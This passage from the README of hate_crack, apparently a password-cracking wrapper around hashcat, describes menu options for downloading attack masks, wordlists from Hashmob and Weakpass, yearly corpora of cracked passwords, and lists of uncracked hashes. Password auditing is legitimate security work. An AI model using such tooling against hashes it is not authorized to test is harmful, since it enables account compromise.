* Reports download summary with success/failure counts
* Stores masks in the configured masks directory used by the Ad-hoc Mask Attack
* Supports interactive listing, range selection, and browsing of available mask files
#### Download Wordlists from Hashmob.net (Wordlist Tools option 9)
Downloads wordlists from Hashmob.net's collection of cracked passwords and commonly used wordlists.
* Interactive menu for browsing available wordlists
* Progress tracking for large downloads
* Stores wordlists in configured wordlist directory
#### Weakpass Wordlist Menu (Wordlist Tools option 10)
Interactive menu for downloading and managing wordlists from Weakpass.com via BitTorrent.
* Browse available Weakpass wordlist torrents
* Download specific wordlists or entire collections
* Automatic extraction of compressed archives
* Progress tracking for torrent downloads
#### Hashmob Downloads (Wordlist Tools option 11)
Access a submenu for downloading large-scale password corpora and specialized wordlists from Hashmob.net.
**Archives** - Downloads yearly full-found password corpora (multi-GB archives containing all cracked passwords from a given year)
* Requires confirmation before downloading -- these archives are large (the listing may show "(unknown size)" since Hashmob's API doesn't currently report a file size per archive)
* Lists all available archives across every year as one globally-numbered list to browse and pick from by index, rather than a per-year picker
* Accepts `a` (or `all`) at the selection prompt to download every listed archive, one at a time. A single confirmation naming the archive count and the summed size covers the whole batch; an archive already on disk at its listed size is skipped, one whose size does not match is re-downloaded, and a failure is counted rather than aborting the rest
* Stores archives in the configured wordlist directory for extraction and use
**Combined Left Lists** - Downloads per-hashcat-mode combined lists of uncracked ("left") hashes from Hashmob.net
* Each list is a set of hashes, not plaintexts, still awaiting a crack for that hashcat mode
* Useful for spotting overlap between your own hash list and hashes the community hasn't cracked yet
* Supports mode selection from the listed hash counts per algorithm
-------------------------------------------------------------------
### Version History
The full, per-release changelog now lives in [CHANGELOG.md](https://github.com/trustedsec/hate_crack/blob/main/CHANGELOG.md).